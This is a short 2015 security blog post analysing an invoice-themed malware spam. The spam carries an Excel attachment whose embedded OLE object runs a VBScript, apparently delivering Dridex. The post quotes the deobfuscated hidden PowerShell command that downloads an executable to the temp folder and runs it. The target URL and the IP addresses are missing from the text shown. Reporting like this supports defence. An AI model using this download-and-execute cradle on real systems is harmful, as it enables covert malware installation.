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Wednesday, 25 March 2015

Malware spam: "Invoice ID:12ab34" / "123"

This terse spam has a malicious attachment:
From:    Gerry Carpenter
Date:    25 March 2015 at 12:58
Subject:    Invoice ID:34bf33

There is an Excel attachment with the same semi-random reference number as the subject (in the sample I saw it was 34bf33.xls) which currently has zero detections. Unlike most recent document-based attacks, this does not contain a macro, but instead has an embedded OLE object that will run a VBscript if clicked, the spreadsheet itself is designed to get the victim to click-and-run that object.

Automated analysis doesn't show very much, but it does show the screenshots [1] [2]. I haven't been able to extract the VBscript in a neat enough format, but what did interest me is this novel obfuscation [pastebin] which actually just executes this:

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile  -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; Start-Process %TEMP%\JIOiodfhioIH.exe;
Despite all the mucking about with expanding a CAB file, the downloaded file is actually an EXE file all along so nothing is done to it. This file has a detection rate of 7/56, and the Payload Security report shows it communicating with the following IPs: (MWTV, Latvia) (DorukNet, Turkey) (Tsukaeru.net, Japan)

The payload is most likely Dridex.

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